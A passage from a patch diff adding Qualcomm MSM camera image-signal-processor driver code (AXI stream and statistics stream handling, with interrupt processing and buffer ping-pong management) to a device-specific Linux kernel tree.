ENABLE_CAMIF) { + vfe_dev->axi_data.src_info[VFE_PIX_0].frame_id = 0; + vfe_dev->hw_info->vfe_ops.core_ops. + update_camif_state(vfe_dev, camif_update); + } + if (vfe_dev->axi_data.src_info[VFE_RAW_0].raw_stream_count > 0) + vfe_dev->axi_data.src_info[VFE_RAW_0].frame_id = 0; + else if (vfe_dev->axi_data.src_info[VFE_RAW_1].raw_stream_count > 0) + vfe_dev->axi_data.src_info[VFE_RAW_1].frame_id = 0; + else if (vfe_dev->axi_data.src_info[VFE_RAW_2].raw_stream_count > 0) + vfe_dev->axi_data.src_info[VFE_RAW_2].frame_id = 0; + + if (wait_for_complete) + rc = msm_isp_axi_wait_for_cfg_done(vfe_dev, camif_update); + + return rc; +} + +static int msm_isp_stop_axi_stream(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd, + enum msm_isp_camif_update_state camif_update) +{ + int i, rc = 0; + uint8_t wait_for_complete = 0, cur_stream_cnt = 0; + struct msm_vfe_axi_stream *stream_info; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + uint16_t session_mask = 0; + uint32_t session_id = 0; + uint8_t skip_session_mask_update = 0; + + if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM) + return -EINVAL; + + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + if (HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i]) + > MAX_NUM_STREAM) { + return -EINVAL; + } + stream_info = &axi_data->stream_info[ + HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; + + stream_info->state = STOP_PENDING; + if (stream_info->stream_src == CAMIF_RAW || + stream_info->stream_src == IDEAL_RAW) { + /* We dont get reg update IRQ for raw snapshot + * so frame skip cant be ocnfigured + */ + wait_for_complete = 1; + } else if (stream_info->stream_type == BURST_STREAM && + stream_info->runtime_num_burst_capture == 0) { + /* Configure AXI writemasters to stop immediately + * since for burst case, write masters already skip + * all frames. + */ + if (stream_info->stream_src == RDI_INTF_0 || + stream_info->stream_src == RDI_INTF_1 || + stream_info->stream_src == RDI_INTF_2) + wait_for_complete = 1; + else { + msm_isp_axi_stream_enable_cfg(vfe_dev, stream_info); + stream_info->state = INACTIVE; + } + } else { + wait_for_complete = 1; + } + session_id = stream_info->session_id; + if (!session_mask) + session_mask = vfe_dev->axi_data. + session_frame_src_mask[session_id]; + if (SRC_TO_INTF(stream_info->stream_src) == VFE_PIX_0) { + if ((vfe_dev->axi_data. + src_info[SRC_TO_INTF(stream_info->stream_src)]. + pix_stream_count <= 1) && (vfe_dev->axi_data. + src_info[SRC_TO_INTF(stream_info->stream_src)]. + raw_stream_count <= 1)) { + session_mask &= + ~(1 << SRC_TO_INTF( + stream_info->stream_src)); + if (stream_info->stream_type == + BURST_STREAM) + skip_session_mask_update = 1; + } + } else { + session_mask &= + ~(1 << SRC_TO_INTF(stream_info->stream_src)); + } + + } + if (wait_for_complete) { + rc = msm_isp_axi_wait_for_cfg_done(vfe_dev, camif_update); + if (rc < 0) { + pr_err("%s: wait for config done failed\n", __func__); + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + stream_info = &axi_data->stream_info[ + HANDLE_TO_IDX( + stream_cfg_cmd->stream_handle[i])]; + stream_info->state = STOP_PENDING; + msm_isp_axi_stream_enable_cfg( + vfe_dev, stream_info); + stream_info->state = INACTIVE; + } + } + } + if (!skip_session_mask_update) { + if (session_mask == 0) + vfe_dev->axi_data.frame_id[session_id] = 0; + vfe_dev->axi_data. + session_frame_src_mask[session_id] = session_mask; + } + msm_isp_update_stream_bandwidth(vfe_dev); + if (camif_update == DISABLE_CAMIF) + vfe_dev->hw_info->vfe_ops.core_ops. + update_camif_state(vfe_dev, DISABLE_CAMIF); + else if (camif_update == DISABLE_CAMIF_IMMEDIATELY) + vfe_dev->hw_info->vfe_ops.core_ops. + update_camif_state(vfe_dev, DISABLE_CAMIF_IMMEDIATELY); + msm_isp_update_camif_output_count(vfe_dev, stream_cfg_cmd); + msm_isp_update_rdi_output_count(vfe_dev, stream_cfg_cmd); + cur_stream_cnt = msm_isp_get_curr_stream_cnt(vfe_dev); + if (cur_stream_cnt == 0) { + if (camif_update == DISABLE_CAMIF_IMMEDIATELY) + vfe_dev->hw_info->vfe_ops.axi_ops.halt(vfe_dev, 1); + vfe_dev->hw_info->vfe_ops.core_ops. + reset_hw(vfe_dev, ISP_RST_HARD, 1); + vfe_dev->hw_info->vfe_ops.core_ops.init_hw_reg(vfe_dev); + } + + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + stream_info = &axi_data->stream_info[ + HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; + msm_isp_deinit_stream_ping_pong_reg(vfe_dev, stream_info); + } + return rc; +} + + +int msm_isp_cfg_axi_stream(struct vfe_device *vfe_dev, void *arg) +{ + int rc = 0; + struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd = arg; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + enum msm_isp_camif_update_state camif_update; + + rc = msm_isp_axi_check_stream_state(vfe_dev, stream_cfg_cmd); + if (rc < 0) { + pr_err("%s: Invalid stream state\n", __func__); + return rc; + } + + if (axi_data->num_active_stream == 0) { + /*Configure UB*/ + vfe_dev->hw_info->vfe_ops.axi_ops.cfg_ub(vfe_dev); + } + camif_update = msm_isp_get_camif_update_state(vfe_dev, stream_cfg_cmd); + + if (stream_cfg_cmd->cmd == START_STREAM) + rc = msm_isp_start_axi_stream( + vfe_dev, stream_cfg_cmd, camif_update); + else + rc = msm_isp_stop_axi_stream( + vfe_dev, stream_cfg_cmd, camif_update); + + if (rc < 0) + pr_err("%s: start/stop stream failed\n", __func__); + return rc; +} + +int msm_isp_update_axi_stream(struct vfe_device *vfe_dev, void *arg) +{ + int rc = 0, i, j; + struct msm_vfe_axi_stream *stream_info; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + struct msm_vfe_axi_stream_update_cmd *update_cmd = arg; + struct msm_vfe_axi_stream_cfg_update_info *update_info; + + if (update_cmd->update_type == UPDATE_STREAM_AXI_CONFIG && + atomic_read(&axi_data->axi_cfg_update)) { + pr_err("%s: AXI stream config updating\n", __func__); + return -EBUSY; + } + + /*num_stream is uint32 and update_info[] bound by MAX_NUM_STREAM*/ + if (update_cmd->num_streams > MAX_NUM_STREAM) + return -EINVAL; + + for (i = 0; i < update_cmd->num_streams; i++) { + update_info = &update_cmd->update_info[i]; + /*check array reference bounds*/ + if (HANDLE_TO_IDX(update_info->stream_handle) + > MAX_NUM_STREAM) { + return -EINVAL; + } + stream_info = &axi_data->stream_info[ + HANDLE_TO_IDX(update_info->stream_handle)]; + if (stream_info->state != ACTIVE && + stream_info->state != INACTIVE) { + pr_err("%s: Invalid stream state\n", __func__); + return -EINVAL; + } + if (stream_info->state == ACTIVE && + stream_info->stream_type == BURST_STREAM && + (1 != update_cmd->num_streams || + UPDATE_STREAM_FRAMEDROP_PATTERN != + update_cmd->update_type)) { + pr_err("%s: Cannot update active burst stream\n", + __func__); + return -EINVAL; + } + } + + for (i = 0; i < update_cmd->num_streams; i++) { + update_info = &update_cmd->update_info[i]; + stream_info = &axi_data->stream_info[ + HANDLE_TO_IDX(update_info->stream_handle)]; + + switch (update_cmd->update_type) { + case ENABLE_STREAM_BUF_DIVERT: + stream_info->buf_divert = 1; + break; + case DISABLE_STREAM_BUF_DIVERT: + stream_info->buf_divert = 0; + vfe_dev->buf_mgr->ops->flush_buf(vfe_dev->buf_mgr, + stream_info->bufq_handle, + MSM_ISP_BUFFER_FLUSH_DIVERTED); + break; + case UPDATE_STREAM_FRAMEDROP_PATTERN: { + uint32_t framedrop_period = + msm_isp_get_framedrop_period( + update_info->skip_pattern); + stream_info->runtime_init_frame_drop = 0; + if (update_info->skip_pattern == SKIP_ALL) + stream_info->framedrop_pattern = 0x0; + else + stream_info->framedrop_pattern = 0x1; + stream_info->framedrop_period = framedrop_period - 1; + vfe_dev->hw_info->vfe_ops.axi_ops. + cfg_framedrop(vfe_dev, stream_info); + break; + } + case UPDATE_STREAM_AXI_CONFIG: { + for (j = 0; j < stream_info->num_planes; j++) { + stream_info->plane_cfg[j] = + update_info->plane_cfg[j]; + } + stream_info->output_format = update_info->output_format; + if (stream_info->state == ACTIVE) { + stream_info->state = PAUSE_PENDING; + msm_isp_axi_stream_enable_cfg( + vfe_dev, stream_info); + stream_info->state = PAUSING; + atomic_set(&axi_data->axi_cfg_update, + UPDATE_REQUESTED); + } else { + for (j = 0; j < stream_info->num_planes; j++) + vfe_dev->hw_info->vfe_ops.axi_ops. + cfg_wm_reg(vfe_dev, stream_info, j); + stream_info->runtime_output_format = + stream_info->output_format; + } + break; + } + case UPDATE_STREAM_REQUEST_FRAMES: { + stream_info->request_frm_num += + update_info->request_frm_num; + break; + } + default: + pr_err("%s: Invalid update type\n", __func__); + return -EINVAL; + } + } + return rc; +} + +void msm_isp_process_axi_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts) +{ + int i, rc = 0; + struct msm_isp_buffer *done_buf = NULL; + uint32_t comp_mask = 0, wm_mask = 0; + uint32_t pingpong_status, stream_idx; + struct msm_vfe_axi_stream *stream_info; + struct msm_vfe_axi_composite_info *comp_info; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + uint32_t frame_id = 0; + + comp_mask = vfe_dev->hw_info->vfe_ops.axi_ops. + get_comp_mask(irq_status0, irq_status1); + wm_mask = vfe_dev->hw_info->vfe_ops.axi_ops. + get_wm_mask(irq_status0, irq_status1); + if (!(comp_mask || wm_mask)) + return; + + ISP_DBG("%s: status: 0x%x\n", __func__, irq_status0); + pingpong_status = + vfe_dev->hw_info->vfe_ops.axi_ops.get_pingpong_status(vfe_dev); + for (i = 0; i < axi_data->hw_info->num_comp_mask; i++) { + comp_info = &axi_data->composite_info[i]; + if (comp_mask & (1 << i)) { + if (!comp_info->stream_handle) { + pr_err("%s: Invalid handle for composite irq\n", + __func__); + } else { + stream_idx = + HANDLE_TO_IDX(comp_info->stream_handle); + stream_info = + &axi_data->stream_info[stream_idx]; + ISP_DBG("%s: stream%d frame id: 0x%x\n", + __func__, + stream_idx, stream_info->frame_id); + frame_id = vfe_dev->axi_data. + frame_id[stream_info->session_id]; + if (stream_info->frame_id >= frame_id) { + pr_err("%s: Session frm id %d cur frm id %d\n", + __func__, frame_id, + stream_info->frame_id); + return; + } + stream_info->frame_id = frame_id; + + if (stream_info->stream_type == BURST_STREAM) + stream_info-> + runtime_num_burst_capture--; + + msm_isp_get_done_buf(vfe_dev, stream_info, + pingpong_status, &done_buf); + if (stream_info->stream_type == + CONTINUOUS_STREAM || + stream_info-> + runtime_num_burst_capture >= 1) { + rc = msm_isp_cfg_ping_pong_address( + vfe_dev, stream_info, + pingpong_status); + } + if (done_buf && !rc) + msm_isp_process_done_buf(vfe_dev, + stream_info, done_buf, ts); + } + } + wm_mask &= ~(comp_info->stream_composite_mask); + } + + for (i = 0; i < axi_data->hw_info->num_wm; i++) { + if (wm_mask & (1 << i)) { + if (!axi_data->free_wm[i]) { + pr_err("%s: Invalid handle for wm irq\n", + __func__); + continue; + } + stream_idx = HANDLE_TO_IDX(axi_data->free_wm[i]); + stream_info = &axi_data->stream_info[stream_idx]; + frame_id = vfe_dev->axi_data. + frame_id[stream_info->session_id]; + ISP_DBG("%s: stream%d frame id: 0x%x\n", + __func__, + stream_idx, stream_info->frame_id); + if (stream_info->frame_id >= frame_id) { + pr_err("%s: Session frm id %d cur frm id %d\n", + __func__, frame_id, stream_info->frame_id); + return; + } + + if (stream_info->stream_type == BURST_STREAM) + stream_info->runtime_num_burst_capture--; + + msm_isp_get_done_buf(vfe_dev, stream_info, + pingpong_status, &done_buf); + if (stream_info->stream_type == CONTINUOUS_STREAM || + stream_info->runtime_num_burst_capture > 1) { + rc = msm_isp_cfg_ping_pong_address(vfe_dev, + stream_info, pingpong_status); + } + if (done_buf && !rc) + msm_isp_process_done_buf(vfe_dev, + stream_info, done_buf, ts); + } + } + return; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h new file mode 100644 index 0000000000000..2314300bdbb41 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h @@ -0,0 +1,58 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#ifndef __MSM_ISP_AXI_UTIL_H__ +#define __MSM_ISP_AXI_UTIL_H__ + +#include "msm_isp.h" + +int msm_isp_axi_create_stream( + struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd); + +void msm_isp_axi_destroy_stream( + struct msm_vfe_axi_shared_data *axi_data, int stream_idx); + +int msm_isp_validate_axi_request( + struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd); + +void msm_isp_axi_reserve_wm( + struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream *stream_info); + +void msm_isp_axi_reserve_comp_mask( + struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream *stream_info); + +int msm_isp_axi_check_stream_state( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd); + +void msm_isp_calculate_framedrop( + struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd); + +int msm_isp_request_axi_stream(struct vfe_device *vfe_dev, void *arg); +int msm_isp_cfg_axi_stream(struct vfe_device *vfe_dev, void *arg); +int msm_isp_release_axi_stream(struct vfe_device *vfe_dev, void *arg); +int msm_isp_update_axi_stream(struct vfe_device *vfe_dev, void *arg); +void msm_isp_axi_cfg_update(struct vfe_device *vfe_dev); + +void msm_isp_axi_stream_update(struct vfe_device *vfe_dev); + +void msm_isp_update_framedrop_reg(struct vfe_device *vfe_dev); +void msm_isp_sof_notify(struct vfe_device *vfe_dev, + enum msm_vfe_input_src frame_src, struct msm_isp_timestamp *ts); +void msm_isp_process_axi_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts); +#endif /* __MSM_ISP_AXI_UTIL_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.c new file mode 100644 index 0000000000000..50b1940fc34c6 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.c @@ -0,0 +1,575 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#include +#include +#include +#include "msm_isp_util.h" +#include "msm_isp_stats_util.h" + +static int msm_isp_stats_cfg_ping_pong_address(struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info, uint32_t pingpong_status, + struct msm_isp_buffer **done_buf) +{ + int rc = -1; + struct msm_isp_buffer *buf; + uint32_t pingpong_bit = 0; + uint32_t bufq_handle = stream_info->bufq_handle; + uint32_t stats_pingpong_offset; + + if (STATS_IDX(stream_info->stream_handle) >= + vfe_dev->hw_info->stats_hw_info->num_stats_type) { + pr_err("%s Invalid stats index %d", __func__, + STATS_IDX(stream_info->stream_handle)); + return -EINVAL; + } + + stats_pingpong_offset = + vfe_dev->hw_info->stats_hw_info->stats_ping_pong_offset[ + STATS_IDX(stream_info->stream_handle)]; + + pingpong_bit = (~(pingpong_status >> stats_pingpong_offset) & 0x1); + rc = vfe_dev->buf_mgr->ops->get_buf(vfe_dev->buf_mgr, + vfe_dev->pdev->id, bufq_handle, &buf); + if (rc < 0) { + vfe_dev->error_info.stats_framedrop_count[ + STATS_IDX(stream_info->stream_handle)]++; + return rc; + } + + if (buf->num_planes != 1) { + pr_err("%s: Invalid buffer\n", __func__); + rc = -EINVAL; + goto buf_error; + } + + vfe_dev->hw_info->vfe_ops.stats_ops.update_ping_pong_addr( + vfe_dev, stream_info, + pingpong_status, buf->mapped_info[0].paddr + + stream_info->buffer_offset); + + if (stream_info->buf[pingpong_bit] && done_buf) + *done_buf = stream_info->buf[pingpong_bit]; + + stream_info->buf[pingpong_bit] = buf; + return 0; +buf_error: + vfe_dev->buf_mgr->ops->put_buf(vfe_dev->buf_mgr, + buf->bufq_handle, buf->buf_idx); + return rc; +} + +void msm_isp_process_stats_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts) +{ + int i, j, rc; + struct msm_isp_event_data buf_event; + struct msm_isp_stats_event *stats_event = &buf_event.u.stats; + struct msm_isp_buffer *done_buf; + struct msm_vfe_stats_stream *stream_info = NULL; + uint32_t session_id = vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; + uint32_t pingpong_status; + uint32_t comp_stats_type_mask = 0, atomic_stats_mask = 0; + uint32_t stats_comp_mask = 0, stats_irq_mask = 0; + uint32_t num_stats_comp_mask = + vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask; + stats_comp_mask = vfe_dev->hw_info->vfe_ops.stats_ops. + get_comp_mask(irq_status0, irq_status1); + stats_irq_mask = vfe_dev->hw_info->vfe_ops.stats_ops. + get_wm_mask(irq_status0, irq_status1); + if (!(stats_comp_mask || stats_irq_mask)) + return; + ISP_DBG("%s: status: 0x%x\n", __func__, irq_status0); + + /* + * If any of composite mask is set, clear irq bits from mask, + * they will be restored by comp mask + */ + if (stats_comp_mask) { + for (j = 0; j < num_stats_comp_mask; j++) { + stats_irq_mask &= ~atomic_read( + &vfe_dev->stats_data.stats_comp_mask[j]); + } + } + + for (j = 0; j < num_stats_comp_mask; j++) { + atomic_stats_mask = atomic_read( + &vfe_dev->stats_data.stats_comp_mask[j]); + if (!stats_comp_mask) { + stats_irq_mask &= ~atomic_stats_mask; + } else { + /* restore irq bits from composite mask */ + if (stats_comp_mask & (1 << j)) + stats_irq_mask |= atomic_stats_mask; + } + /* if no irq bits set from this composite mask continue*/ + if (!stats_irq_mask) + continue; + memset(&buf_event, 0, sizeof(struct msm_isp_event_data)); + buf_event.timestamp = ts->event_time; + buf_event.frame_id = + vfe_dev->axi_data.frame_id[session_id]; + buf_event.input_intf = VFE_PIX_0; + pingpong_status = vfe_dev->hw_info-> + vfe_ops.stats_ops.get_pingpong_status(vfe_dev); + + for (i = 0; i < vfe_dev->hw_info->stats_hw_info->num_stats_type; + i++) { + if (!(stats_irq_mask & (1 << i))) + continue; + stream_info = &vfe_dev->stats_data.stream_info[i]; + done_buf = NULL; + msm_isp_stats_cfg_ping_pong_address(vfe_dev, + stream_info, pingpong_status, &done_buf); + if (done_buf) { + rc = vfe_dev->buf_mgr->ops->buf_divert( + vfe_dev->buf_mgr, done_buf->bufq_handle, + done_buf->buf_idx, &ts->buf_time, + vfe_dev->axi_data. + frame_id[session_id]); + if (rc != 0) + continue; + + stats_event->stats_buf_idxs + [stream_info->stats_type] = + done_buf->buf_idx; + if (!stream_info->composite_flag) { + stats_event->stats_mask = + 1 << stream_info->stats_type; + ISP_DBG("%s: stats frameid: 0x%x %d\n", + __func__, buf_event.frame_id, + stream_info->stats_type); + msm_isp_send_event(vfe_dev, + ISP_EVENT_STATS_NOTIFY + + stream_info->stats_type, + &buf_event); + } else { + comp_stats_type_mask |= + 1 << stream_info->stats_type; + } + } + stats_irq_mask &= ~(1 << i); + } + + if (comp_stats_type_mask) { + ISP_DBG("%s: comp_stats frameid: 0x%x, 0x%x\n", + __func__, buf_event.frame_id, + comp_stats_type_mask); + stats_event->stats_mask = comp_stats_type_mask; + msm_isp_send_event(vfe_dev, + ISP_EVENT_COMP_STATS_NOTIFY, &buf_event); + comp_stats_type_mask = 0; + } + } +} + +int msm_isp_stats_create_stream(struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream_request_cmd *stream_req_cmd) +{ + int rc = -1; + struct msm_vfe_stats_stream *stream_info = NULL; + struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; + uint32_t stats_idx; + + if (!(vfe_dev->hw_info->stats_hw_info->stats_capability_mask & + (1 << stream_req_cmd->stats_type))) { + pr_err("%s: Stats type not supported\n", __func__); + return rc; + } + + stats_idx = vfe_dev->hw_info->vfe_ops.stats_ops. + get_stats_idx(stream_req_cmd->stats_type); + + if (stats_idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { + pr_err("%s Invalid stats index %d", __func__, stats_idx); + return -EINVAL; + } + + stream_info = &stats_data->stream_info[stats_idx]; + if (stream_info->state != STATS_AVALIABLE) { + pr_err("%s: Stats already requested\n", __func__); + return rc; + } + + if (stream_req_cmd->framedrop_pattern >= MAX_SKIP) { + pr_err("%s: Invalid framedrop pattern\n", __func__); + return rc; + } + + if (stream_req_cmd->irq_subsample_pattern >= MAX_SKIP) { + pr_err("%s: Invalid irq subsample pattern\n", __func__); + return rc; + } + + stream_info->session_id = stream_req_cmd->session_id; + stream_info->stream_id = stream_req_cmd->stream_id; + stream_info->composite_flag = stream_req_cmd->composite_flag; + stream_info->stats_type = stream_req_cmd->stats_type; + stream_info->buffer_offset = stream_req_cmd->buffer_offset; + stream_info->framedrop_pattern = stream_req_cmd->framedrop_pattern; + stream_info->irq_subsample_pattern = + stream_req_cmd->irq_subsample_pattern; + stream_info->state = STATS_INACTIVE; + + if ((vfe_dev->stats_data.stream_handle_cnt << 8) == 0) + vfe_dev->stats_data.stream_handle_cnt++; + + stream_req_cmd->stream_handle = + (++vfe_dev->stats_data.stream_handle_cnt) << 8 | stats_idx; + + stream_info->stream_handle = stream_req_cmd->stream_handle; + return 0; +} + +int msm_isp_request_stats_stream(struct vfe_device *vfe_dev, void *arg) +{ + int rc = -1; + struct msm_vfe_stats_stream_request_cmd *stream_req_cmd = arg; + struct msm_vfe_stats_stream *stream_info = NULL; + struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; + uint32_t framedrop_period; + uint32_t stats_idx; + + rc = msm_isp_stats_create_stream(vfe_dev, stream_req_cmd); + if (rc < 0) { + pr_err("%s: create stream failed\n", __func__); + return rc; + } + + stats_idx = STATS_IDX(stream_req_cmd->stream_handle); + + if (stats_idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { + pr_err("%s Invalid stats index %d", __func__, stats_idx); + return -EINVAL; + } + + stream_info = &stats_data->stream_info[stats_idx]; + + framedrop_period = msm_isp_get_framedrop_period( + stream_req_cmd->framedrop_pattern); + + if (stream_req_cmd->framedrop_pattern == SKIP_ALL) + stream_info->framedrop_pattern = 0x0; + else + stream_info->framedrop_pattern = 0x1; + stream_info->framedrop_period = framedrop_period - 1; + + if (!stream_info->composite_flag) + vfe_dev->hw_info->vfe_ops.stats_ops. + cfg_wm_irq_mask(vfe_dev, stream_info); + + vfe_dev->hw_info->vfe_ops.stats_ops.cfg_wm_reg(vfe_dev, stream_info); + return rc; +} + +int msm_isp_release_stats_stream(struct vfe_device *vfe_dev, void *arg) +{ + int rc = -1; + struct msm_vfe_stats_stream_cfg_cmd stream_cfg_cmd; + struct msm_vfe_stats_stream_release_cmd *stream_release_cmd = arg; + struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; + int stats_idx = STATS_IDX(stream_release_cmd->stream_handle); + struct msm_vfe_stats_stream *stream_info = NULL; + + if (stats_idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { + pr_err("%s Invalid stats index %d", __func__, stats_idx); + return -EINVAL; + } + + stream_info = &stats_data->stream_info[stats_idx]; + if (stream_info->state == STATS_AVALIABLE) { + pr_err("%s: stream already release\n", __func__); + return rc; + } else if (stream_info->state != STATS_INACTIVE) { + stream_cfg_cmd.enable = 0; + stream_cfg_cmd.num_streams = 1; + stream_cfg_cmd.stream_handle[0] = + stream_release_cmd->stream_handle; + rc = msm_isp_cfg_stats_stream(vfe_dev, &stream_cfg_cmd); + } + + if (!stream_info->composite_flag) + vfe_dev->hw_info->vfe_ops.stats_ops. + clear_wm_irq_mask(vfe_dev, stream_info); + + vfe_dev->hw_info->vfe_ops.stats_ops.clear_wm_reg(vfe_dev, stream_info); + memset(stream_info, 0, sizeof(struct msm_vfe_stats_stream)); + return 0; +} + +static int msm_isp_init_stats_ping_pong_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + int rc = 0; + stream_info->bufq_handle = + vfe_dev->buf_mgr->ops->get_bufq_handle( + vfe_dev->buf_mgr, stream_info->session_id, + stream_info->stream_id); + if (stream_info->bufq_handle == 0) { + pr_err("%s: no buf configured for stream: 0x%x\n", + __func__, stream_info->stream_handle); + return -EINVAL; + } + + rc = msm_isp_stats_cfg_ping_pong_address(vfe_dev, + stream_info, VFE_PING_FLAG, NULL); + if (rc < 0) { + pr_err("%s: No free buffer for ping\n", __func__); + return rc; + } + rc = msm_isp_stats_cfg_ping_pong_address(vfe_dev, + stream_info, VFE_PONG_FLAG, NULL); + if (rc < 0) { + pr_err("%s: No free buffer for pong\n", __func__); + return rc; + } + return rc; +} + +static void msm_isp_deinit_stats_ping_pong_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + int i; + struct msm_isp_buffer *buf; + for (i = 0; i < 2; i++) { + buf = stream_info->buf[i]; + if (buf) + vfe_dev->buf_mgr->ops->put_buf(vfe_dev->buf_mgr, + buf->bufq_handle, buf->buf_idx); + } +} + +void msm_isp_stats_stream_update(struct vfe_device *vfe_dev) +{ + int i; + uint32_t stats_mask = 0, comp_stats_mask = 0; + uint32_t enable = 0; + struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; + for (i = 0; i < vfe_dev->hw_info->stats_hw_info->num_stats_type; i++) { + if (stats_data->stream_info[i].state == STATS_START_PENDING || + stats_data->stream_info[i].state == + STATS_STOP_PENDING) { + stats_mask |= i; + enable = stats_data->stream_info[i].state == + STATS_START_PENDING ? 1 : 0; + stats_data->stream_info[i].state = + stats_data->stream_info[i].state == + STATS_START_PENDING ? + STATS_STARTING : STATS_STOPPING; + vfe_dev->hw_info->vfe_ops.stats_ops.enable_module( + vfe_dev, BIT(i), enable); + vfe_dev->hw_info->vfe_ops.stats_ops.cfg_comp_mask( + vfe_dev, BIT(i), enable); + } else if (stats_data->stream_info[i].state == STATS_STARTING || + stats_data->stream_info[i].state == STATS_STOPPING) { + if (stats_data->stream_info[i].composite_flag) + comp_stats_mask |= i; + stats_data->stream_info[i].state = + stats_data->stream_info[i].state == + STATS_STARTING ? STATS_ACTIVE : STATS_INACTIVE; + } + } + atomic_sub(1, &stats_data->stats_update); + if (!atomic_read(&stats_data->stats_update)) + complete(&vfe_dev->stats_config_complete); +} + +static int msm_isp_stats_wait_for_cfg_done(struct vfe_device *vfe_dev) +{ + int rc; + init_completion(&vfe_dev->stats_config_complete); + atomic_set(&vfe_dev->stats_data.stats_update, 2); + rc = wait_for_completion_timeout( + &vfe_dev->stats_config_complete, + msecs_to_jiffies(VFE_MAX_CFG_TIMEOUT)); + if (rc == 0) { + pr_err("%s: wait timeout\n", __func__); + rc = -1; + } else { + rc = 0; + } + return rc; +} + +static int msm_isp_start_stats_stream(struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream_cfg_cmd *stream_cfg_cmd) +{ + int i, rc = 0; + uint32_t stats_mask = 0, idx; + uint32_t comp_stats_mask[MAX_NUM_STATS_COMP_MASK] = {0}; + uint32_t num_stats_comp_mask = 0; + struct msm_vfe_stats_stream *stream_info; + struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; + + num_stats_comp_mask = + vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask; + rc = vfe_dev->hw_info->vfe_ops.stats_ops.check_streams( + stats_data->stream_info); + if (rc < 0) + return rc; + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + idx = STATS_IDX(stream_cfg_cmd->stream_handle[i]); + + if (idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { + pr_err("%s Invalid stats index %d", __func__, idx); + return -EINVAL; + } + + stream_info = &stats_data->stream_info[idx]; + if (stream_info->stream_handle != + stream_cfg_cmd->stream_handle[i]) { + pr_err("%s: Invalid stream handle: 0x%x received\n", + __func__, stream_cfg_cmd->stream_handle[i]); + continue; + } + + if (stream_info->composite_flag > num_stats_comp_mask) { + pr_err("%s: comp grp %d exceed max %d\n", + __func__, stream_info->composite_flag, + num_stats_comp_mask); + return -EINVAL; + } + rc = msm_isp_init_stats_ping_pong_reg(vfe_dev, stream_info); + if (rc < 0) { + pr_err("%s: No buffer for stream%d\n", __func__, idx); + return rc; + } + + if (vfe_dev->axi_data.src_info[VFE_PIX_0].active) + stream_info->state = STATS_START_PENDING; + else + stream_info->state = STATS_ACTIVE; + + stats_data->num_active_stream++; + stats_mask |= 1 << idx; + + if (stream_info->composite_flag > 0) + comp_stats_mask[stream_info->composite_flag-1] |= + 1 << idx; + + ISP_DBG("%s: stats_mask %x %x active streams %d\n", + __func__, 